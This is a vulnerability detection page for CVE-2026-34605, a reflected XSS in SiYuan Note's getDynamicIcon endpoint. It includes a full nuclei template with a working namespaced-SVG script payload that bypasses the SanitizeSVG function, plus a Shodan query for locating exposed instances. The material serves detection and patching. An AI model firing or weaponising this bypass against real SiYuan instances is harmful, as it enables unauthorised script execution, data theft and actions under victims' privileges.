SiYuan Note - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.5%likelihood of exploitation, next 30 days

41%of all CVEs are less likely

Readycheck to confirm it

SiYuan Note through version 3.6.1 is vulnerable to unauthenticated reflected Cross-Site Scripting (XSS) in the `/api/icon/getDynamicIcon` endpoint due to improper filtering of SVG elements with a namespace prefix (such as `<x:script>`). By using a namespaced script element, attackers can bypass the `SanitizeSVG` function and execute arbitrary JavaScript in the victim’s browser upon visiting a crafted link.

Impact

Exploitation allows attackers to execute JavaScript in the context of the SiYuan Note instance, enabling unauthorized access to sensitive data, API calls with the victim's privileges, and potential data extraction or modification, if the victim is an authenticated user.

Fix

Upgrade to SiYuan Note version 3.6.2 or later, where the namespace prefix is stripped prior to sanitization, blocking this form of XSS.

How to confirm it

Send: GET {{BaseURL}}/api/icon/getDynamicIcon?type=8&color=red&content=%3C%2Ftext%3E%3Cx%3Ascript%20xmlns%3Ax%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3Eal…
Positive when: contains "</text><x:script xmlns:x=\"http://www.w3.org/2000/svg\">alert…" and "id=\"dynamic_icon_type8" AND contains in content_type "image/svg+xml" AND status 200

Run it with nuclei: nuclei -id CVE-2026-34605 -u <target>

The full check

id: CVE-2026-34605

info:
  name: SiYuan Note - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    SiYuan Note through version 3.6.1 is vulnerable to unauthenticated reflected Cross-Site Scripting (XSS) in the `/api/icon/getDynamicIcon` endpoint due to improper filtering of SVG elements with a namespace prefix (such as `<x:script>`). By using a namespaced script element, attackers can bypass the `SanitizeSVG` function and execute arbitrary JavaScript in the victim’s browser upon visiting a crafted link.
  remediation: |
    Upgrade to SiYuan Note version 3.6.2 or later, where the namespace prefix is stripped prior to sanitization, blocking this form of XSS.
  impact: |
    Exploitation allows attackers to execute JavaScript in the context of the SiYuan Note instance, enabling unauthorized access to sensitive data, API calls with the victim's privileges, and potential data extraction or modification, if the victim is an authenticated user.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-73g7-86qr-jrg3
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34605
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-34605
    epss-score: 0.00469
    epss-percentile: 0.40902
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: siyuan-note
    product: siyuan
    shodan-query: http.favicon.hash:-1450125239
  tags: cve,cve2026,siyuan,xss,svg

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/icon/getDynamicIcon?type=8&color=red&content=%3C%2Ftext%3E%3Cx%3Ascript%20xmlns%3Ax%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3Ealert%28document.domain%29%3C%2Fx%3Ascript%3E%3Ctext%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</text><x:script xmlns:x="http://www.w3.org/2000/svg">alert(document.domain)</x:script><text>'
          - 'id="dynamic_icon_type8'
        condition: and

      - type: word
        part: content_type
        words:
          - "image/svg+xml"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from